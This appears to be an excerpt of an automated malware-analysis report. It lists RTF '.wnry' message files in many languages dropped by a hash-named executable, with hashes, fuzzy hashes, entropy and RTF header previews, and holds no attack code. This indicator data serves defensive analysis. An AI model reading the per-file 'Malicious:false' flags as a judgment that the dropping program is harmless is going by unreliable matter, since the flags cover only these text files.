                                    SHA-256:3F33734B2D34CCE83936CE99C3494CD845F1D2C02D7F6DA31D42DFC1CA15A171
                                    SHA-512:DCF4CCF0B352A8B271827B3B8E181F7D6502CA0F8C9DDA3DC6E53441BB4AE6E77B49C9C947CC3EDE0BF323F09140A0C068A907F3C23EA2A8495D1AD96820051C
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                    C:\Users\user\Desktop\msg\m_czech.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):40512
                                    Entropy (8bit):5.035949134693175
                                    Encrypted:false
                                    SSDEEP:384:SheftipUENLFsPzy3EFHjHdg2yG2gv8n8+8zfB8k8F8i8k1Z8M8I818E838C8A8s:Shef3jHd2G26nyMZrS14g
                                    MD5:537EFEECDFA94CC421E58FD82A58BA9E
                                    SHA1:3609456E16BC16BA447979F3AA69221290EC17D0
                                    SHA-256:5AFA4753AFA048C6D6C39327CE674F27F5F6E5D3F2A060B7A8AED61725481150
                                    SHA-512:E007786FFA09CCD5A24E5C6504C8DE444929A2FAAAFAD3712367C05615B7E1B0FBF7FBFFF7028ED3F832CE226957390D8BF54308870E9ED597948A838DA1137B
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                    C:\Users\user\Desktop\msg\m_danish.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):37045
                                    Entropy (8bit):5.028683023706024
                                    Encrypted:false
                                    SSDEEP:384:SheftipUENLFsPzy3EFHjHd02wG2roqni2Jeo75Y3kmA31dv61QyU:Shef3jHd4G2M5bZrS14Q
                                    MD5:2C5A3B81D5C4715B7BEA01033367FCB5
                                    SHA1:B548B45DA8463E17199DAAFD34C23591F94E82CD
                                    SHA-256:A75BB44284B9DB8D702692F84909A7E23F21141866ADF3DB888042E9109A1CB6
                                    SHA-512:490C5A892FAC801B853C348477B1140755D4C53CA05726AC19D3649AF4285C93523393A3667E209C71C80AC06FFD809F62DD69AE65012DCB00445D032F1277B3
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                    C:\Users\user\Desktop\msg\m_dutch.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):36987
                                    Entropy (8bit):5.036160205965849
                                    Encrypted:false
                                    SSDEEP:384:Sw3BHSj2cLeT+sPzy3EFHjHdp2oG2/CzhReo75Y3kmA31dv61Qyz:Sw3BHSWjHdBG2/UhsZrS14f
                                    MD5:7A8D499407C6A647C03C4471A67EAAD7
                                    SHA1:D573B6AC8E7E04A05CBBD6B7F6A9842F371D343B
                                    SHA-256:2C95BEF914DA6C50D7BDEDEC601E589FBB4FDA24C4863A7260F4F72BD025799C
                                    SHA-512:608EF3FF0A517FE1E70FF41AEB277821565C5A9BEE5103AA5E45C68D4763FCE507C2A34D810F4CD242D163181F8341D9A69E93FE32ADED6FBC7F544C55743F12
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}..{\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}{\f54\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}@\'b1\'bc\'b8\'b2\'c3\'bc;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}

                                    C:\Users\user\Desktop\msg\m_english.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):36973
                                    Entropy (8bit):5.040611616416892
                                    Encrypted:false
                                    SSDEEP:384:S93BHSj2cguALeT+sPzy3EFHjHdM2EG2YLC7O3eo75Y3kmA31dv61QyW:S93BHSTjHd0G2YLCZrS14y
                                    MD5:FE68C2DC0D2419B38F44D83F2FCF232E
                                    SHA1:6C6E49949957215AA2F3DFB72207D249ADF36283
                                    SHA-256:26FD072FDA6E12F8C2D3292086EF0390785EFA2C556E2A88BD4673102AF703E5
                                    SHA-512:941FA0A1F6A5756ED54260994DB6158A7EBEB9E18B5C8CA2F6530C579BC4455918DF0B38C609F501CA466B3CC067B40E4B861AD6513373B483B36338AE20A810
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\*\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}..{\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}{\f54\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}@\'b1\'bc\'b8\'b2\'c3\'bc;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\fhim

                                    C:\Users\user\Desktop\msg\m_filipino.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):37580
                                    Entropy (8bit):5.0458193216786
                                    Encrypted:false
                                    SSDEEP:384:Sw3BHSj2cLeT+sPzy3EFHjHdi2MG2AGsi6p07i/eo75Y3kmA31dv61QyR:Sw3BHSWjHdGG2Axa7iGZrS14N
                                    MD5:08B9E69B57E4C9B966664F8E1C27AB09
                                    SHA1:2DA1025BBBFB3CD308070765FC0893A48E5A85FA
                                    SHA-256:D8489F8C16318E524B45DE8B35D7E2C3CD8ED4821C136F12F5EF3C9FC3321324
                                    SHA-512:966B5ED68BE6B5CCD46E0DE1FA868CFE5432D9BF82E1E2F6EB99B2AEF3C92F88D96F4F4EEC5E16381B9C6DB80A68071E7124CA1474D664BDD77E1817EC600CB4
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}..{\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}{\f54\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}@\'b1\'bc\'b8\'b2\'c3\'bc;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}

                                    C:\Users\user\Desktop\msg\m_finnish.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):38377
                                    Entropy (8bit):5.030938473355282
                                    Encrypted:false
                                    SSDEEP:384:SheftipUENLFsPzy3EFHjHdg2oG2l1glOmeo75Y3kmA31dv61QyB:Shef3jHdMG2l1AO3ZrS14l
                                    MD5:35C2F97EEA8819B1CAEBD23FEE732D8F
                                    SHA1:E354D1CC43D6A39D9732ADEA5D3B0F57284255D2
                                    SHA-256:1ADFEE058B98206CB4FBE1A46D3ED62A11E1DEE2C7FF521C1EEF7C706E6A700E
                                    SHA-512:908149A6F5238FCCCD86F7C374986D486590A0991EF5243F0CD9E63CC8E208158A9A812665233B09C3A478233D30F21E3D355B94F36B83644795556F147345BF
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                    C:\Users\user\Desktop\msg\m_french.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):38437
                                    Entropy (8bit):5.031126676607223
                                    Encrypted:false
                                    SSDEEP:384:SheftipUENLFsPzy3EFHjHdtW2IG2sjqMeo75Y3kmA31dv61Qyg:Shef3jHd0G2smJZrS14M
                                    MD5:4E57113A6BF6B88FDD32782A4A381274
                                    SHA1:0FCCBC91F0F94453D91670C6794F71348711061D
                                    SHA-256:9BD38110E6523547AED50617DDC77D0920D408FAEED2B7A21AB163FDA22177BC
                                    SHA-512:4F1918A12269C654D44E9D394BC209EF0BC32242BE8833A2FBA437B879125177E149F56F2FB0C302330DEC328139B34982C04B3FEFB045612B6CC9F83EC85AA9
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                    C:\Users\user\Desktop\msg\m_german.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):37181
                                    Entropy (8bit):5.039739267952546
                                    Encrypted:false
                                    SSDEEP:384:SheftipUENLFsPzy3EFHjHdN26G2VSA1Ieo75Y3kmA31dv61QyU:Shef3jHdfG2oe1ZrS14w
                                    MD5:3D59BBB5553FE03A89F817819540F469
                                    SHA1:26781D4B06FF704800B463D0F1FCA3AFD923A9FE
                                    SHA-256:2ADC900FAFA9938D85CE53CB793271F37AF40CF499BCC454F44975DB533F0B61
                                    SHA-512:95719AE80589F71209BB3CB953276538040E7111B994D757B0A24283AEFE27AADBBE9EEF3F1F823CE4CABC1090946D4A2A558607AC6CAC6FACA5971529B34DAC
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                    C:\Users\user\Desktop\msg\m_greek.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):49044
                                    Entropy (8bit):4.910095634621579
                                    Encrypted:false
                                    SSDEEP:384:SheftipUENLFsPzy3EFHjHdc2oG2WWDFFG5BwKeo75Y3kmA31dv61QyM:Shef3jHdoG2NHG5BwLZrS14Q
                                    MD5:FB4E8718FEA95BB7479727FDE80CB424
                                    SHA1:1088C7653CBA385FE994E9AE34A6595898F20AEB
                                    SHA-256:E13CC9B13AA5074DC45D50379ECEB17EE39A0C2531AB617D93800FE236758CA9
                                    SHA-512:24DB377AF1569E4E2B2EBCCEC42564CEA95A30F1FF43BCAF25A692F99567E027BCEF4AACEF008EC5F64EA2EEF0C04BE88D2B30BCADABB3919B5F45A6633940CB
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                    C:\Users\user\Desktop\msg\m_indonesian.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):37196
                                    Entropy (8bit):5.039268541932758
                                    Encrypted:false
                                    SSDEEP:384:Sw3BHSj2cLeT+sPzy3EFHjHdY2oG2pq32eo75Y3kmA31dv61Qys:Sw3BHSWjHdUG2pq3nZrS14I
                                    MD5:3788F91C694DFC48E12417CE93356B0F
                                    SHA1:EB3B87F7F654B604DAF3484DA9E02CA6C4EA98B7
                                    SHA-256:23E5E738AAD10FB8EF89AA0285269AFF728070080158FD3E7792FE9ED47C51F4
                                    SHA-512:B7DD9E6DC7C2D023FF958CAF132F0544C76FAE3B2D8E49753257676CC541735807B4BEFDF483BCAE94C2DCDE3C878C783B4A89DCA0FECBC78F5BBF7C356F35CD
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}..{\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}{\f54\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}@\'b1\'bc\'b8\'b2\'c3\'bc;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}

                                    C:\Users\user\Desktop\msg\m_italian.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):36883
                                    Entropy (8bit):5.028048191734335
                                    Encrypted:false
                                    SSDEEP:384:SheftipUENLFsPzy3EFHjHdR2AG2c/EnByeo75Y3kmA31dv61Qy9:Shef3jHdJG2cQZrS14R
                                    MD5:30A200F78498990095B36F574B6E8690
                                    SHA1:C4B1B3C087BD12B063E98BCA464CD05F3F7B7882
                                    SHA-256:49F2C739E7D9745C0834DC817A71BF6676CCC24A4C28DCDDF8844093AAB3DF07
                                    SHA-512:C0DA2AAE82C397F6943A0A7B838F60EEEF8F57192C5F498F2ECF05DB824CFEB6D6CA830BF3715DA7EE400AA8362BD64DC835298F3F0085AE7A744E6E6C690511
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                    C:\Users\user\Desktop\msg\m_japanese.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):81844
                                    Entropy (8bit):4.85025787009624
                                    Encrypted:false
                                    SSDEEP:384:SXZ0j2cKKwd1lksPzy3EFHjHdI2MG275rQeo75Y3kmA31dv61Qyr:SXZ0qbjHd4G2RNZrS14P
                                    MD5:B77E1221F7ECD0B5D696CB66CDA1609E
                                    SHA1:51EB7A254A33D05EDF188DED653005DC82DE8A46
                                    SHA-256:7E491E7B48D6E34F916624C1CDA9F024E86FCBEC56ACDA35E27FA99D530D017E
                                    SHA-512:F435FD67954787E6B87460DB026759410FBD25B2F6EA758118749C113A50192446861A114358443A129BE817020B50F21D27B1EBD3D22C7BE62082E8B45223FC
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f11\fbidi \fmodern\fcharset128\fprq1{\*\panose 02020609040205080304}MS Mincho{\*\falt ?l?r ??\'81\'66c};}{\f12\fbidi \froman\fcharset129\fprq2{\*\panose 02030600000101010101}\'b9\'d9\'c5\'c1{\*\falt Batang};}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}..{\f44\fbidi \froman\fcharset129\fprq2{\*\panose 020306000001

                                    C:\Users\user\Desktop\msg\m_korean.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):91501
                                    Entropy (8bit):4.841830504507431
                                    Encrypted:false
                                    SSDEEP:768:Shef3jHdUG2NQcbxfSVZiG9jvi3//ZVrMQr7pEKCHSI2DsY78piTDtTa6BxzBwdY:SheiaDq
                                    MD5:6735CB43FE44832B061EEB3F5956B099
                                    SHA1:D636DAF64D524F81367EA92FDAFA3726C909BEE1
                                    SHA-256:552AA0F82F37C9601114974228D4FC54F7434FE3AE7A276EF1AE98A0F608F1D0
                                    SHA-512:60272801909DBBA21578B22C49F6B0BA8CD0070F116476FF35B3AC8347B987790E4CC0334724244C4B13415A246E77A577230029E4561AE6F04A598C3F536C7E
                                    Malicious:false
